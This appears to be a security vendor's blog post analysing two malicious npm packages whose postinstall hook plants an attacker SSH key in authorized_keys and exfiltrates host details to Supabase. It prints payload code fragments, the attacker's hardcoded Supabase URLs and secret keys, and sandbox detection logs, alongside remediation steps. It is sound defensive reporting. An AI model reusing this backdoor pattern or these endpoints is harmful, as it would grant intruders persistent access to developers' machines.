Malicious dom-utils-lite npm SSH Backdoor via Supabase

Kunal Singh3 min read

TL;DR

npm account user0001 <tanvisoul9@gmail.com> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.

Impact:

  • Writes the attacker’s SSH public key into ~/.ssh/authorized_keys
  • Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
  • Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
  • Empty catch blocks swallow all errors

Indicators of Compromise (IoC):

Analysis

Two Packages, One Payload

centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.

Diffing the extracted tarballs shows only two files differ:

diff centralogger/package.json dom-utils-lite/package.json
<   "name": "centralogger",
<   "version": "1.0.9",
<   "description": "A simple logger for application",
---
>   "name": "dom-utils-lite",
>   "version": "1.0.0",
>   "description": "",

diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js
< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
---
> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"
> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"

All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.

Payload

postinstall runs setup.js, which chains four operations:

// setup.js
async function setup() {
  try {
    const publicKey = await getPublicKey(); // fetch SSH key from Supabase
    await injectKey(publicKey); // write to ~/.ssh/authorized_keys
    const server = getServerDetails(); // collect IP, username, hostname
    await uploadMetadata(server); // exfiltrate to Supabase
  } catch (err) {}
}
setup();

index.js repeats this chain every 60 seconds with exponential-backoff retry.

injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:

// injectKey.js
const taggedKey = `${publicKey} ssh-key-auto-sync`;
fs.appendFileSync(authFile, '\n' + taggedKey + '\n');

supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.

uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.

Attack Flow

npm install dom-utils-lite
  └─ postinstall: node setup.js
       ├─ fetchKey.js     → Downloads SSH public key from Supabase bucket
       ├─ injectKey.js    → Appends key to ~/.ssh/authorized_keys
       ├─ utils.js        → Collects IP, username, hostname
       └─ uploadMeta.js   → Uploads server metadata to Supabase bucket

  └─ index.js (if executed via npm start)
       └─ Same chain on 60-second interval with retry

Dynamic Analysis

Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of dom-utils-lite@1.0.0:

dom-utils-lite-blog-DA-findings.csv
Rowcreated_atanalysis_idruleoutput
1April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
2April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Read ssh information2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
3April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
3 rows4 columns

Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.

Conclusion

If you installed either package:

  1. Check ~/.ssh/authorized_keys for entries tagged ssh-key-auto-sync and remove them
  2. Audit ~/.ssh/authorized_keys for any unrecognized keys
  3. Kill any lingering node processes running index.js from these packages
  4. Review CI/CD pipelines where either package may have been installed

Any npm package from the user0001 account should be treated as malicious. The tanvisoul9@gmail.com email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.

References

  • vet
  • malware
  • npm
  • supply-chain
  • ssh-backdoor

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.